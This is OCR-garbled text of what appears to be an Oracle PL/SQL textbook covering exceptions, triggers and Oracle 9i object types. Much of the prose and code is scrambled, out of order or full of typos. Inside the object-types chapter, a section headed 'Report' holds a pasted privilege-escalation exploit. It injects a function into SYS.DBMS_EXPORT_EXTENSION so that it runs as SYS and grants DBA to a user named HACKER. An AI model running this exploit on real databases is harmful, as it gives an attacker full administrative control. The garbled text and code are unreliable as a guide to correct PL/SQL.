messge will get stored into an ERRORS table.
4.8.2 User Defined
Exception
here are two methods of defining exception by user.
1. RAISE statement
2
RAISE_APPLICATION_ERROR statement

PL/SQL/149
1. RAISE Statement
If you explicitly need to raise an error then RAISE statementie
is
used and you have to declared an exception variable in declared
section.
For example:
DECLARE
TEMP_Sal NUMBER(10,2):
NEGATIVE_SAL EXCEPTION;
BEGIN
SELECT sal INTO TEMP_Sal
From emnp
WHERE empno=7698;

IF TEMP_Cal <0 THEN


Raise NEGATIVE_SAL;
ELSE
UPDATE emp SET Sal 50000
WHERE empno=7698;
END IF:
COMMIT;
EXCEPTION
WHEN NO_DATA_FOUND THEN
dbms_output.put_line( 'Record NOT FOUND');

WHEN NEGATIVE_SAL THENN


dbms_output.put_line('Salary is negative )
END;
0 then PUSaL
example find row with an Sal less than
If the above
raise user_defined Negative_Sal exception.
2. RAISE_APPLICTAION_ERROR Statement

The RAISE_APPLICATION_ERROR
takes two input parameter
The error number
between-20001
and error message. The error number must be
RAISE_APPLICATION_ERROR from within
20999. You can call
and triggers.
procedures, functions, packages
For example
1. DECLARE

TEMPSal NUMBER(10, 2);

Oracle 150
BEGIN
SELECT sal INTO
TEMP_sal
From emp
WHERE empno=7698
UPDATE emp SET sal TEMP_sal 1.5
WHERE empno=7698,
COMMIT:
EXCEPTION
WHEN NO_DATA _FOUND THEN
RAISE APPLICATION_ERROR (-20100, Record NOT
FOUND');
END
Note that in this case exception variable declaration is not
required.
2. DECLARE

Temp_Sal number (10, 2);


BEGIN
SELECT Sal INTO TEMP_Sal
From emp
WHERE empno =
7698;
If TEMP_Sal < 0 then

RAISE_application_error(-20010, 'Salary is negative):


else
update emp
SETsal= 5000
WHERE empno = 7698;
end if,
EXCEPTION
when no_data.found then
dbms_output.put_line('Record not found'):
end;
PLISQL block with exception:
Accept empno and check whether it is present in emp table
or not.

ECLARE
V_no emp.empno%type;
_empno emp.empno%type,

PL/SQL/151
BEGIN
V_empno:=&v_empno;
select empno into v_no
from emp
where empno=v_empno;
if v_no=v_empno then
dbms_output.put_line('Empno exists);
end if;
When no_data_found then
does not exists);
dbms_output.put _line(Empno
End
Output
SQL>
Enter value for v_empno: 7768
old 5: v_empno:=&v_empno;
new 5: V_empno:=7768;
Empno does not exists

SaL>
Enter value for v_empno: 7698
old 5: V_empno:=&v_empno;
new 5: v_empno:=7698;
empno exists
2. Print name of emp getting second max salary.
DECLARE
name emp.ename%type;
BEGIN
select e2.ename into v_name
from emp e1, emp e2
where e1.sal>e2.sal;
max
dbms_output.put _line(v_name II is getting second
salary');
Exception
When toomany_rows then
dbms_output.put_line('More than one
Empno getting
second max salary');:
End:
Output:
SQL
Oracle/ 152
More than empno getting second max salary.
one
3. Accept empno and check whether comm is null or not.
If comm is null raise an
exception otherwise display comm.
DECLARE
v_comm emp.comm%type;
v_empno emp.empno%type:
check_comm exception;
BEGIN
V_empno:=&v_empno;
select comm into v_comm
from emp
where empno=v_empno;
if v_comm is NULL then
raise check_comm;
else
dbms_output.put_line('comm = 'llv_comm):
end
Exception
When no_data_found then
dbms_output.put_line('Empno does not exists);
When check_comm then
dbms _output.put_line(Empno geting null comm);
End:
Output
sOL>
Enter value for v_empno: 7566
old 6: v_empno:=&v_empno;
new 6: v_empno:= 7566;
Empno getting null comm
SQL
Enter value for v_empno: 7521
old 6: v_empno:=&v_empno;
new 6: v_empno:=7521;
comm 500

4.4 4.8 Check Your Progress


Fill in the blanks
1) Oracle have. built in errors.
2) An IS anabnormal condition occurred during
the program executes.
3) Is the memory variables.

PL/SQLI153
4:9 Summary
and End
sections Declare, Begin, EXCeption
A PUSQL Block has
four
and lob() these are -types
the data r
Char (). number (), date() for declaration. Queries ara
section is used
written in exceptions secti
PUSQL block. Declare
section. Exceptions are
written in begin section.
will close by end s t a t e m e n t s simple loop, for lcon
and lastly the block
of loop
There are three types classified as conditiona
statements are
Control Whenever a So
and while loop. control.
control and sequential
control, iterative an area of memory is
the database server opens
Statement is issued There are two
called a s c u r s o r .
area is
This
called private SQL area.
cursor and explicit
cursor. An abnoma
implicit two classes of
types of cursors
is called exception.
There are
condition in a program user-defined exception.
exceptions-predefined
exception and

Sourceplsql-tutonal.com(e-ink)

ProgressAnSwerss
4.8 Check Your

1) Declare
2) Begin

3.4-3.8
1)20,000
2)Exception
3)Cursor

4.9 QUTIONS FOR SELF STUDY


or not.
Q.1 Accept a numberand check whether it is palindrome
Q.2 Accept a number and check whether it is prime or not.
no. or no.
Q.3 Accept a number and check whether it is Armstrong

Q.4 Print 1st 10 terms of Fibonacci series.


Q.5 Accept 10 numbers in a loop and print sum of accepted ev
numbers and odd numbers separately.
Q.6 Accept a string and print it as follows

Or

Or a C

Or a c
or a c e

Oracle 154
(in this case accepted string is oracle)
Q.7 Accept a string and a character and check
character occurs in a how 'many times
string. (Use substr a

PL/SQL block using emp and dept. table: functión).


1. Check whether SMITH's
salary or not. salary is greater than BLAKE's
2. If SMITH's salary is greater than
BLAKE's salary
update emp table and set BLAKE's salary then
same as SMITH's
salary otherwise set SMITH's
salary. salary same as BLAKE's
3. Print the name of
empoyee having maximum
employee having minimum salary. salary
name of and the
4. Print the name of
employee working in department 10 and
having maximum salary.
5. Print the name of employee
having 2d maximum salary.
6. Print the day when ADAMS was
joined.
7. Print the number of
employees joined in month of
December.
8. Increment the salary by 15% of employees having location
as NEW YORK.
9. Increment the salary by 10% of empoyees having 'BLAKE'
as manager and by 20% having KING' as manager.
10. Change NULL commission to 1000.

PLISQL block using cursor:


Update the salary of employee by 20% for even records and
10% for odd records.
2. Print the information of employee as empno, ename, sal, job
and department number using cursor.
3 Print 4h, 6th and 1oth records from emptable
4. the names of employee having commission as NULL
Print the infomation of 15t five highest salary earner. as
Print the information of employees having manager

7.
BLAKE working in
Update the salary by 15% of employee table
oepartment 10 and store this information in emp_raise
as empno, sysdate and changed salary.

FIL PL/SQL1155
Chapter 5
TRIGGER
5.0 Objectives
5.1 Introduction
5.2 Creating a Trigger
5.3 Access the value of column inside a Trigger
5.4 Modifyinga Trigger
5.5 Enabling/Disabling a Trigger
5.6 Deleting a Trigger
5.7 Summaryy
5.8 Check Your Progress Answers
5.9 Questions for Self-Study

5.0 OBJECTIVES

After reading this chapter you will able to


describe how to Create Trigger
describe how to Modify Trigger
StateEnable / Disable trigger
State Delete Trigger

5.1 INTRODUCTION

which is executed by an event


A trigger is PL/SQL code block
are implicitly invoked when
which occurs to a database table. Triggers is
command is executed. A trigger
INSERT, UPDATE or DELETE the base table
view. When a view is used,
associated to a table or a
triggers are normally enabled.
at execute time, because
stored as text and compiled
Triggers are
not use
much code in them. You may
of this it is wise not to incdude
SAVEPOINT statements within trigger
COMMIT, ROLLBACK and
blocks
:
The advantages of using trigger are
restrictions to the
1. It creates consistency and access

database.
2 It implements the security.

Trigger /157
5.2 CREATING
A TRIGGER

with CREATE TRIGGER command.


A trigger is created
Syntax
TRIGGER trigger_name
CREATE [OR REPLACE]
(BEFOREIAFTER/ INSTEAD OF}
(DELETE /INSERT/UPDATE [OF
column [colum...}
/INSERT/UPDATE [OF column
[OR (DELETE
[.column...
ON (TABLEVIEW}
FOR EACH (ROW/ STATEMENT}
WHEN (condition)]
PLUSQL block.
Triggers may be called BEFORE or AFTER the following events.

INSERT, UPDATE and DELETE.


The BEFORE trigger is used when some processing is
needed before execution of the command.
The AFTER trigger is triggered only after the execution of the
associated triggering commands.
INSTEAD OF trigger is applied to view only.
Triggers may be ROW or STATEMENT types.
ROW type trigger which is also called as ROW level triggeris
executed on all the rows that are affected by the command.
STATEMENT type trigger (STATEMENT level trigger) is triggered
only once. For example if an DELETE command deletes 15 rows,
commands contained in the trigger are executed only once and no
with every processed row.
The trigger can be activated by a SQL command or by syse
event or a user event which are called triggering events.

According to these events, trigger types are


1. TABLE triggers: Applied to DML commands (INSERT
DELETE / UPDATE).
2. SYSTEM EVENT triggers: Such as startup, shutdown the
database and server error
o
message event
3. USER
User logon and logoff,
EVENT triggers Such as Iogo. DD
commands (CREATE, ALTER,
a n d s

DROP), DML com


(INSERT, DELETE, UPDATE).
Oracle 158
WHEN clause is used to specify
triggering restriction i.e. it
ecifies what condition must be true for the
PL/SQL block is a trigger action.
trigger
to be activated.
Thus every trigger is divided into three
components as
1. Triggering event
2. Triggering restriction
3. Triggering action.

5.3 ACCESS THE VALUE OF cOLUMN INSIDE A TRIGGER

A value of a column of a ROW-LEVEL trigger can be accessed


using NEW and OLD variable.
Syntax Column_name: NEW
Column_name OLD
Depending on the commands INSERT, UPDATE and DELETE,
the values NEW and OLD will be used as follows
1. INSERT command The value of the fields that will be
inserted must be preceded by : NEW
2. UPDATE command The original value is accessed with
OLD and the new values will be preceded by : NEW.
3. DELETE command The values in this case must be
preceded by: OLD.

For example:
SQL> create trigger tr_sal
2 before insert on emp
3 for each row

4 begin
if :new.sal = 0 then

6 Raise_application_error(-20010, 'Salary should be greater


than 0'):
7 end if
8 end:
SQL>
Trigger created.
When you insert data into an emp table with salary 0 at that time
this trigger will get executed.

Trigger /159
5.1, 5.2, 5.3 Check Your Progress
Fill in the blanks
1) A trigger is executed by an_
2) Startup, shutdown are the level triggers.
3) Log on log.off are. event triggers.

5.4 MODIFYING A TRIGGER

A trigger can be modified using OR REPLACE clause of CREATE


TRIGGER command.
example:
SQL create or replace trigger tr_sal
2 before insert on emp
3 for each row
4 begin
5 if new.sal <=0 then
6 Raise_application_error(-20010','Salary should be greater
than 0');
7 end if;
8 end;
SQL
Trigger created.
When you insert data into an emp table with salary 0 or less
than 0 at that time this trigger will
get executed.

5.5 ENABLING/ DISABLING A TRIGGER

R
To enable or disable a specific trigger, ALTER RI
command is used.
Syntax
ALTER TRIGGER trigger_name ENABLE/ DISABLE it gets
When a trigger is created, it is
automatically enabled and 9ger

executed according to the


triggering command. To disable the u
use DISABLE option as
ALTER TRIGGER tr_sal
DISABLE
Oracle 160
Ta enable or disable all the triggers of a table, ALTER TABLE
command is used.

Syntax:
ALTER TABLE table_name ENABLE DISABLE ALL
TRIGGERS:

For example:
ALTER TABLE emp DISABLE ALL TRIGGERS

5.6 DELETING A TRIGGER

To delete a trigger, use DROP TRIGGER command.


Syntax
DROP TRIGGER trigger_name;
Forexample
DROP TRIGGER tr_sal;

5.4, 5.5, 5.6 Check Your Progress


Fill in the blanks
command is used for alteration of trigger.
1)
command is used for dropping the trigger
2)

5.7 Summary

A by an event, which
trigger is P/SQL code block, which is executedinvoked when Insert,
OcCurs to a database table. Triggers are implicitly
update or delete command is executed. commands within
and point
YOU may not use commit, Roleback
save
table
tigger blocks. According to events triggers are of three types or
and user event triggers. To enables
rggers, system event triggerscommand is used. By using drop trigger
disable a trigger, Alter trigger
comment we can delete a trigger.

Source: docs.oracle.com/e-link)

Trigger /161
5.8 Check Your Progress-Answers
5.1, 5.2, 5.3
1)Event
2)System
3User

5.4,5.5,5.6
1)Alter
2)Drop

5.9 Questions For Self- Study

1) What is trigger ? What are it's advantages?


2) What are the types of trigger ?
3) Explain with example how will you create trigger.
4) How will you modify trigger?
5) Explain 1. ALTER TRIGGER
2. DELETE TRIGGER
Chapter 6
ORACLE 9i

6.0 Objectives
6.1 Report
6.2 ORACLE 9i Database Types.
6.3 Uses of Objects
6.4 Types of Objects
6.5 Features of Objects
6.5.1 Naming Convention for Object
6.5.2 Example of Common Object
6.5.3 Structure of Simple Object
6.5.4 Inserting Records Into Custmor
table
6.6 Implementing Object Views
6.6.1 Why Use Object Views
6.6.2 Using where Clasuse
6.7 Benefits of Using Object Views
6.8 Nested Table
6.9 Variable Arrays
6.9.1 Creating Varying Arrays
6.10 Referencing Objects
6.11 Introduction to Oracle Packages
6.12 Summary
6.13 Check Your Progress - Answers

6.14 Questions For Self-Study

6.0 OBJECTIVES
After reading this chapter you will able to
State use of object
Describe Types of object
Discuss Features of object

Dracle 9i /165
6.1 REPORT
Details
The following proof of concept exploit code (0day)
inject a
custom PL/SQL function. This function is executed in the SYS conte
and grants the DBA permission to the usor HACKER. This exploite
working on Oracle 9i Rel. 2 and Oracle 1Og express Edition (XE) t
Workarounds
You can revoke the public privilege form public.
REVOKE EXECUTE ON
FROM PUBLIC FORCE;
SYS.DBMS_EXPORT_EXTENSION
The package dbms_extension is needed for doing export
files.
After revoking the public grant, you should assign the execute role on
dbms_export_extension to your export user
(e.g. SYSTEM)

Example
Create a function in a package first and inject the function. The
function will be executed as user SYS.

CREATE OR REPLACE
PACKAGE MYBADPACKAGE AUTHID CURRENT_USER
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo
SYS.odcindexinfo, P3 VARCHAR2, p4 VARCHAR2, env
SYS.odcienv)
RETURN NUMBER
END:

CREATE OR REPLACE PACKAGE BODY MYBADPACKAGE


IS
FUNCTION ODCIIndexGetMetadata (oindexinfo
SYS.odciindexinfo, p3 VARCHAR2, p4 VARCHAR2, env SYS
odcienv)
RETURN NUMBER
IS
pragma autonomous_transaction;
BEGIN

Oracle/ 166
EXECUTE IMMEDIATE GRANT DBA TO
HACKER
cOMMIT
RETURN(1)
END

Inject the function in dbms_export_extension


DECLARE

INDEX_NAME VARCHAR2(200);
INDEX_SCHEMA VARCHAR2(200);
TYPE NAME VARCHAR2(200);
TYPE_SCHEMA VARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
BEGIN
INDEXNAME: = "A1:
INDEX_SCHEMA: = 'HACKER:

TYPE_NAME ="MYBADPACKAGE:
TYPE_SCHEMA: ="HACKER:
VERSION: = "10.2.0.2.0'
GMFLAGS: 1;
V_Return :=
SYS.DBMS_EXPORT EXTENSION.GET_DOMAIN_INDEX

METADATA(INDEX)_NAME => INDEX_NAME,


=>
INDEX_SCHEMA,
TYPE_NAME
>
INDEX_SCHEMA =

TYPE_NAME, VERSION = > VERSION,


YPE_SCHEMA = > TYPE SCHEMA, => GMFLAGS
GMFLAGS
> NEWBLOCK,
NEWBLOCK =

END:
TYPES
DATABASE
6.2 ORACLE 9i
types:
Oracle 9i
consists of three different
upgraded
traditional
ORACLE relational database
i) ational: The

(RDBMS).
Oracle 9i /167
ii) Object-relational The traditional ORACLE relational databasa
extended to include se
object-oriented concepts and structures such
as abstract datatype, nested tables and h
varying arrays.
ii) Object-oriented : An object-oriented database whose design
based only on Object-Oriented Analysis and is
Design principles.
Oracle provides full support to all the three
types. Whatever
method we choose, we must be familiar with the
functions and
features of the core ORACLE relational database. Even
if 00
capabilities are used, the functions and datatypes available in Oracle
and its programming languages i.e. SQL and
PLsQL should be
known.
6.3 USES OF OBECTS

Objects reduce complexity of representing complex data and its


relations.Objects also help to simplify the way to interact the data.
Benefits of using OO features are
Object reuse We can reuse previously written code modules by
writing O0 code. If we create O0 database objects, chances of
reuse of these database objects will be more.
Standards adherence ; If database objects are built by using
standards, then the chances they will be reused increase
exponentially. We have to create. de Facto Standard for
applications or tables if we use the same set of database objects
for multiple applications or tablees.
For e.g., if for addresses of students we create a standard
datatype, then all the addresses in the database will use the same
internal format.
The main things consider while using objects
we the
are time
taken to leam how to use O0 features and the added
complexity or
the system. The little time required to develop and use condenseo
datatypeis a good measure for the time required for learning Oracle
OO features.
Object is made up of combination of data and the methods whicn
we use to interact with data.

Forexample:
If clerk want to make list of addresses of students then there is
standard for the structure of an address. First there is student's name
then street name, city name, state name and then code number.

Oracle 168
When new admissions are aken, then the student is added in the list
using same procedure.

AddStudent() For adding a student to the list.


Update Student() For updating
student'sinformation.
Remove Student() For deleting a student from the list in case of
cancelling admission.
Method not only manipulate data but cân give any information or
report on data. See given example.
If any company want to give skills
new
training to its workers.
Then information about age of a worker is valuable to see that how
many workers can learn new skills considering there ages.
Here, if workers birthdates
are stored then method for
calculating
age can be used and we have a report on worker's current age.

6.1, 6.2, 6.3 Check Your Progress


Fill in the blanks
1) database whose design is based on object on
object oriented Ananlysis.
2) Object is made up of &
3)In Oracle 9i 'i'stands for

6.4 TYPES OF OBJECTS


Oracle have different types of objects. Here some major types are
described.
Abstract Datatype:
Abstract datatype consists of one or more subtypes. Rather than
being constrained to the standard oracle datatype of NUMBER, DATA
and Varchar2, the abstract datatype can describe data more
accurately.
For example, For an address an abstract datatype may consist
following columns.
Street VARCHAR2 (40)

City VARCHAR2 (15)


State VARCHAR 2 (10)

PIN NUMBERR

Oracle 9i 169
Whentable using address information is created, a column which uses
address be created. This will contain the
abstract datatype fon can
type.
abstract data
above columns that are part df the

Example OBJECT (NAME VARCHAR2


CREATE TYPE PERSON_TV AS
(20), ADDRESS ADDRESS_TY):

Output :
Type Created
While using the abstract datatype the benefits for objects like
reuse and standard adherence are realised. A standard for the
representation of abstract data elements, for e.g. address, companies
etc. is created when an abstract datatype istcreated. When the same
abstract datatype is used in multiple placesithe same logical data i s
represented in the same manner in each place
When the same abstract datatype is used in multiple places, the
same logical data is represented in the same manner in each place.
Reuse of the abstract datatype shows the enforcement of
standard representation for the data to which it is bound.
We can use abstract datatype to create an object table. In a
object table, the columns of the table map to the columns of an
abstract datatype.
Nested Tables
A nested tables means table within a table'. A
nested table is a 'a
collection of rows, represented as a column within the
main table. For
each record within the main
table, the nested table may contain
multiple rows. In one sense, it's a way of
relationship within one table. storing a
one-to-many
Consider a table containing
which each information about departments,
department may have many projects in progress at
model, two separate tables would on
time. in a strictly relational
created: o
i) DEPARTMETN
ii) PROJECT
Nested tables allow us to
within the store the information jects
DEPARTMENT table. The about pro
accessed directly via the project table records be
perform a join. DEPARTMENT table, without the to
to
nee
Oracle 170
to select data without traversing joins
makes data
ability
Thesief. Even if methods for accessing nested data are not
The

access
acces

Department
and Project data have clearly been associated.
d e f i n e d ,

e In a strictly relational model, the association between the


DEPARTM
OTMENT and PROJEE tables would be accomplished by a
foreign key.
Varying Arrays
A varying aray is a 'set of objects, each with the same datatype'.

The size of
the array is limited when it is created.
Varying arays are also known as VARRAYS. They allows storing
in tables.
repeating attributes
For example : suppose there is a PROJECT table, and projects
having workers assigned to thenm.
A project may have many workers, and a worker may work on
multiple projects. In a strictly relational implementation, a PROJECT
table, a WORKER table, and an intersection table
PROJECT_WORKER would be created which store the relationships
between them.
Varying arrays can be used to store the worker names in the
PROJECT table. If projects are limited to fifteen workers or fewer, a
varying array with a limit of fifteen entries can be created. The
datatype for the varying arrays will be whatever datatype is
appropriate for the worker name values.
Then varying array can be populated, so that for each project the
names of all of the project's workers can be selected without querying
the WORKER table.
Note: When a table is created with a varying array, the array is a
nested table with a limited set of rows.
Large Objects:
A large object or LOB is capable of storing large volumes of data.
The different LOB datatypes available are BLOB, CLOB, NCLOB, and
BFILE
T h e BLOB datatype is used for binary data and can extend to
4GB in length.
T h e CLOB datatype stores character data and can store data
up to 4GB in length.
The NCLOB datatype is used to store CLOB data for multibyte
character sets.

Fi2
Oracle 9i /171
u The data for BLOB, CLOB and NCLOB datatype is st
inside the database. So, there can be a single row in stored
database that is over 4GB in length. the
One of the LOB datatype, BFILE is a pointer to an external i
The files referenced by BFILEs exist at operating system level. Tho
database only maintains a pointer to the file. The size of the external
file is limited only by the operating system. The data is stored outside
the database, so ORACLE does not maintain concurrency or integrity
of the data.
We can use multiple LOBs per table. For example, consider
table with a CLOB column and two BLOB columns. This is an
improvement over the LONG datatype, as there can be one LONG per
table, ORACLE provides a number of functions and procedures, which
can be used to manipulate and select LOB data.
References
Varying arrays and Nested tables are embedded objects. They
are physically embedded within another object. They of object called
as referenced objects, are physically separate from the objects that
refer to them. References (also known as REFS) are essentially
pointers to row objects. A row object is different from a column
object. An example of a column object would be a varying array. It is
an object that is treated as a column in a table. On the other hand, a
row object always represents a row.
References are typically among the last 00 features
implemented while migrating a relational database to an objcct
relational or pure O0 one.
Object Views:
Object views allow adding O0 concepts on top of existing
relational table. For example, an abstract datatype can be createu
based on an existing table definition. Thus, object views give the
benefits of relational table storage and 00 structures. Object views
allow the development of O0 features within a relational database. a

kind of bridge between the relational and OO worlds.

6.5 FEATURES OF OBJECTS

An object has a name, a standard representation and a dard

collection of operations that affect it. The stan t an

that
object are called 'methods'. So, an abstractoperations has aa a
ame,

standard representation and defined methodsdatatype


for accessing
ndAll
oe
Oracle 172
obiects that use abstract datatype will share the same structure,
methods and representation.
Abstract datatypes are a part of an 00 concept called
abstraction, the conceptual existence of classes within a database.
The abstract data type may be nested. It is not necessary to create
physical tables at each level of abstraction instead, the structural
existence of the abstract types are sufficient.
The methods attached to each level of abstraction may be called
from higher levels of abstraction.
For example, the ADDRESS data type's methods can be
accessed during a call to a PERSON datatype.
During the creation of objects, they inherit the structure of the data
elements they descend from.
For example, if address is a class of data, then
PERSON_TY,
the person name and the corresponding address would inherent the
structural definitions of address.
Nested abstract data type inherits the representations of their
parents
from a data perspective. The ability to create hierarchies of abstract
datatype is available form Oracle 8.1 onwards.
6.5.1 Naming Conventions For Objects
Following rules should be followed while working with Oo.
1. Table and column names will be singular (such as
EMPLOYEE, Name and State).
2. Abstract datatype names will be singular nouns with a _TY
suffix (such as PERSON_TY or ADDRESS_TY).
3. Table and Datatype names will always be uppercase (such
as EMPLOYEE or PERSON_TY)
4. Column names will always be lower case (such as state and
start_date)
5. Object view names will be singular nouns with a _OV suffix
(such as PERSON_OV or ADDRESs_OV).
6. Nested table names will be plural nouns with aNT suffix
(such as wORKERSNT).
Varying array names will be plural nouns with a _VA suffix
(such as wORKERS_VA).
The name of an object should consist two parts, the core object
ame and the suffix. The core object name should follow naming
dards and the suffixes help to identify the type of object.

Oracle 9i /173
6.5.2 Example OF A Common Object
common object
found in most systeme
We consider here a

addresses. Addresses are maintained


and addressee
selected. The

follow a standard
format. The street name, city na.
workers can
the basis of an abst.
state name and pin code can be used as stract
command to create
datatype for addresses. Use the create type an
abstract datatype.

Example:
CREATE TYPE ADDRESS TY AS OBJECT

(STREET VARCHAR2(40), CITY VARCHAR2(20), STATE


VARCHAR2(20), PIN NUMBER);

Output
Type created.
In Oracle, the CREATE TYPE command is an interesting
command. The command in the above example says that create an
abstract datatype named ADDRESS_TY. It willbe represented as
having four attributes, Street, City; State and Pin, using a defined
datatype and length for each attribute.
The ADDRESS_TY datatype can be used within other datatypes. For
example, the creation of a standard datatype required for people.
People have names and addresses, so the following abstract datd
type can be created.

Example
CREATE TYPE
PERSON_TY AS OBJECT(
NAME
VARCHAR2(20), ADDRESS ADDRESs_TY);
Output
Type created.
Firsty, the abstract datatype and
identified as an object via the was given a name
PERSON
were defined.
as object clause. Then, two
The line
(NAME VARCHAR2 (20), defines the first c o l u m n o f

PERSON_TY's representation.
ADDRESS ADDRESS_TY), defines the secona olumn
of

PERSON_TY's representation.

Oracle 174
The second column, Address uses the
abstract datatype previously created. The
ADDRESS TYY
ADDRESS_TY, (according to the ADDRESs_TY columns within
follows definition) are as
(STREET VARCHAR2 (40), defines the first column
ADDRESS_TY's representation. of
CITY VARCHAR2
(20), defines the second column of
ADDRESs_TY's representation.
STATE VARCHAR2
(20), defines the third column of
ADDRESS_TYs representation.
ZIP NUMBER); defines the fourth column of
representation. ADDRESS_TY's
So, a PEROSN_TY entry will have a
Pin colunmns because Name, Street, City, State and
one of its columns is
ADDRESs_TY abstract type. explicitly bound to the
This capability to define and
reuse abstract data
data representation within a types can simplify
is seldom used
database. For example, a Street column
by itself. It is almost always used as a
address. Abstract datatype allows part of an
the joining of these
together and dealing with the whole address instead of elements
street, city- etc. that its parts like
constitute the address.
The PERSON_TY
datatype can be used to create an 00 based table.
6.5.3 Structure of a Simple
Object
Data cannot be inserted into
PERSONTY. The reason is that a
datatype describes data, it does not store data. To store data, a table
that uses this datatype has to be created. Then
to store data in that table, formatted for the
only it will be possible
specified datatype.
The following command creates a table named CUSTOMER. A
customer has a Customer_ID and all the attributes of a person (via the
PERSON TY datatype).
Example
CREATE TABLE CUSTOMER(
CUSTOMER_ID NUMBER, PERSON PERSON_TY);
Output:
Type created.
Example
We now see the example of command used to retrieve
CuSTOMER table's column definition.
DESC CUSTOMER;

Oracle 9i /175
Output
Name Null? Type

NUMBER
CUSTOMER_ID
PERSON PERSONTY
The Person column is shown by the DESCRIBE command to be
defined by a named TYPE.
The DESCRIBE command does not show the structure of hoe
TYPE associated with the Person column. There is a need to query
information.
the data dictionary directly to see that
Example:
DESC PERSON_TY;
Output
Name Null? Type

NAME VARCHAR2 (20)


ADDRESS ADDRESS_TY

Example
DESC ADDRESS_TY;
Output
Name Null? Type

STREET VARCHAR2 (40)


CITY VARCHAR2 (20)
STATE VARCHAR2 (20)
PIN NUMBER
The data dictionary is a "series of tables and views the contali
information about structures and users in the database". The daa
be queried for information about database objects
dictionary can
are owned or on which access rights have been granted.
Example: ied

The USER_TAB_COLUMNS data dictionary view can be auR


to see the datatype associated with each column in the CUS
table.
FROM
SELECT COLUMN_NAME, DATA TYPE
USER_TAB_COLUMNS
Oracle/ 176
WHERE TABLE_NAME =
'CUSTOMER
Output
COLUMN_NAME DATA TYPE
CUSTOMER_ID NUMBER
PERSON
Example
PERSONTY
See the following
query, the name, length and datatype are
selected for each of attributes within the
SELECT
PERSON_TY datatype.
ATTR_NAME, LENGTH, ATTR_TYPE_NAME FROM
USER_TYPE_ATTRS
WHERE TYPE_NAME 'PERSON_TY':
Output:
ATTR_NAME LENGTH ATTR TYPE NAME
NAME 20 VARCHAR2
ADDRESss
ADDRESS_TY
The query output shows that the PERsON_TY type consists of a
Name column (defined as a VARCHAR2 column with a
length of 20)
and an Address column (defined using the ADDRESS_TY
type).
Example:
Query USER TYPE_ATTRS again to see the attributes of the
ADDRESS_TYdatatype:
SELECT ATTR_NAME, LENGTH, ATTR_TYPE_NAME FORM
USER_TYPE_ATTRS
WHERE TYPE_NAME = 'ADDRESS_TY:

Output:
ATTR_NAME LENGTH ATTR_TYPE _NAME

STREET 40 VARCHAR2

CITY 20 VARCHAR2

STATE 20 VARCHAR2

PIN NUMBER

.5.4 Inserting Records Into The CUSTOMER TABLE


'constructor methods', for
data
Oracle creates methods called
created. A constructor
when abstract datatype is
agement a
datatype. Its parameter
a program that is named after the
Odis Construction
are ne names of the attributes defined for the datatype.

Oracle 9i /177
are to be inserted into a table
when records
method can be used
abstract datatypes.
created from table uses the PERSON
PERSONN
CUSTOMER
the
For example, datatype es the ADDRESS
uses ADDRESS
PERSON_TY
the into the CUSTONM.
datatypes, and insert a record
In order to
abstract datatype.
PERSON_TY and
ADDRESS_TY datat
the
table, a record using insert records using
this datatype, the us
useof
inserted. To
needs to be is required.
methods for the abstract datatype
the constructor
Example using the constructor
inserted into OCUSTOMER
A record is abstract data types.
the PERSON_TY and ADDRESS_TY
methods for are shown in
methods for these abstract data types
The constructor the data type:
have the same names as
bold in the example. They
PERSON_TY(Rahul
COUSTOMER VALUES(1,
INSERT INTO
ADDRESS_TY(Kothrud', 'Pune', "Maharashtra', 411054))
Output:
1 row created.
be inserted as a row
The insert command provides the values to
must match the column
in the CUSTOMER table. The values provided
in the table.
1 is specified.
CUSTOMER_ID value of
In the above example, a the
Person column are inserted, suing
Then, the values for the
Within the
constructor method (shown in bold).
PERSON_TY and then the
a Name is specified
PERSON_TY datatype,
(shown in bold and underiined)
ADDRESS_TY constructor method
used to insert the Address values.
Name value is Rahul, an
For the record inserted in the example, the
for the constructo
the Street value is Kothrud. Here the parameters
attributes of the datatype
method are in the exact same order a s the the

A second record can be inserted into


CUSTOMER, using
methods
exact same format for the calls to the constructor
INSERT INTO CUSTOMER VALUES(2, PERSON_TY('Smita,
411001)%
ADDRESs_TY (M.G. Rd', Pune', 'Maharashtra', table.

The second record has now been inserted into the custome in

Uses of constructor methods are needed while manipulating reuu


tables that use an abstract datatype.
5.5.5 Selection From An Abstract Datatype
Example

Oracle/178
the selection of
CUSTOMER_ID values from
required, that colum
queried from the CUSTOMED
can simply be
SELECT CUSTOMER_ID FROM CUSTOMER table
Output:
CUSTOMER_ID

2
Querying the CUSTOMER_ID values is
column nomal datatype within the
is a straightforward, since that
the columns of the CUSTOMER table are
CUSTOMER table. When all of
the abstract datatype is disclosed. queried, the complexity of

Example
SELECT FROM CUSTOMER;
Output
CUSTOMER_ID
PERSON (NAME, ADDRESS (STREET, CITY, STATE, PIN))
1

PERSON TY (Rahul ADDRESS_TY(Kothrud', Pune


Maharashtra', 411054))
2

PERSON_TY (Smita', ADDRESS_TY(M.G. Rd, Pune',


Maharashtra', 411001))
The output shows that CUSTOMER_ID is a column within
CUSTOMER and the PERSON column uses an abstract datatype.
ne column name for the Person column shows the names of the
abstract datatype used and the nesting of the ADDRESS_TY datatype
within the
PEROSN_TY datatype.
Example
SELECT CUSTOMER_ID CLIENT.PERSON.NAME FROM
CUSTOMER CLIENT
Notice the column syntax for the Name column:
CLIENT.PERSON.NAME
NAME points to the Name
Sa column name, CLIENT.PERSON. The format for the column
DUte within the PERSON TYdatatype.
name is
ABLEALIAS.COLUMN.ATTRIBUTE

Oracle 9i 179
Output
CUSTOMER_ID PERSON.NAME

1 Pallavi
2 Mahesh
There is a difference between INSERTS and SELECTS
SELECTS
Commands. In INSERTS the name of the datatype is needed and
is used.
during SELECTS the name of the column
values from the CUSTOMER
What if the selection of the Street
table is needed?
The STREET column is part of the ADDRESS_TY datatype, which in
To select this data, extend
turn is part of the PERSON_TY datatype.
the Column. Attribute fomat to include the nested type. The format will

be
TABLEALIAS.COLUMN.COLUMN.ATTRIBUTE

Example
To select the STREET attribute of the ADDRESS attribute within
the PERSON column, the query will be,
SELECT CLIENT.PERSON.ADDRESS.STREET FROM CUSTOMER
CLIENT

Output
PERSONADDRESS.STREET
Kothrud
M.G. Rd.
The syntax SELECT CLIENT.PERSON.ADDRESS.STREET tells
Oracle exactly how and where to find the Street
attribute.
The main thing we have to take
in mind that if an abstract
datatype is used, neither INSERT nor SELECT values for the abstract
datatype attributes can be done without
